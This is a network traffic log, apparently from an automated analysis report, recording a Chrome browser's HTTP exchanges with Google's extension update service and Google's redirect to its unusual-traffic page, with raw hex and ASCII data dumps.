2023-02-07 23:06:27 UTC	400	IN	Data Raw: 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 61 6d 70 Data Ascii: ML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&amp

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:07:44 UTC	402	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Djncffhgjbmpggpdflbbkhdghjipdbjkn%26v%3D0.0.0.0%26installedby%3Dpolicy%26uc HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: jncffhgjbmpggpdflbbkhdghjipdbjkn X-Goog-Update-Updater: chromecrx-104.0.5112.81 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:07:44 UTC	403	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-izStEsaNmkp0QnwE-zwaeA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:07:44 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5881 X-Daystart: 54464 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:07:44 UTC	404	IN	Data Raw: 31 30 64 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 38 38 31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 34 34 36 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6a 6e 63 66 66 68 67 6a 62 6d 70 67 67 70 64 66 6c 62 62 6b 68 64 67 68 6a 69 70 64 62 6a 6b 6e 22 20 73 74 61 74 75 73 3d 22 65 72 72 6f 72 2d 75 6e 6b 6e 6f 77 6e 41 70 70 6c 69 Data Ascii: 10d<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5881" elapsed_seconds="54464"/><app appid="jncffhgjbmpggpdflbbkhdghjipdbjkn" status="error-unknownAppli
2023-02-07 23:07:44 UTC	404	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:07:45 UTC	415	OUT	GET /async/newtab_ogb?hl=en-GB&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:07:45 UTC	417	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-GB%26async%3Dfixed:0&hl=en-GB&q=EgRUETQNGMGzi58GIjBugYzmUVTKt030tBtuy44x0ZKBJkviRaI2qlBUJXiU2Bhnzp4RKtZCbwWVX_-_hIMyAXI x-hallmonitor-challenge: CgwIwbOLnwYQzqba6AESBFQRNA0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Origin-Trial: AqRrpS1jM/HOs1rGR0CnXerKEP/QFz7qj9ApDSZqAO+0U+KcT/h/lxA6akW4ar0kT0V1bw5MD4t8O7L7OFwM5gUAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY3ODIzMzU5OX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Tue, 07 Feb 2023 23:07:45 GMT Server: gws Content-Length: 418 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: __Secure-ENID=10.SE=ow_AtLxpKPQX54c_lbGbAE5zPexMb-k1K5V5xDh_06xxFlA6EQCp7fRgYH-e9fI1AXTGEVnlZKuQ966HLSy5HasSI1gtMFnSGVIUF5KiHmTaSk8rVSdUHJOhlWmZJkh7czibBMXO6mU2gyYiYurZRPvSOgh7HeMHPm-UaDAr8ME; expires=Sat, 09-Mar-2024 15:26:03 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: CONSENT=PENDING+579; expires=Thu, 06-Feb-2025 23:07:45 GMT; path=/; domain=.google.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:07:45 UTC	419	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh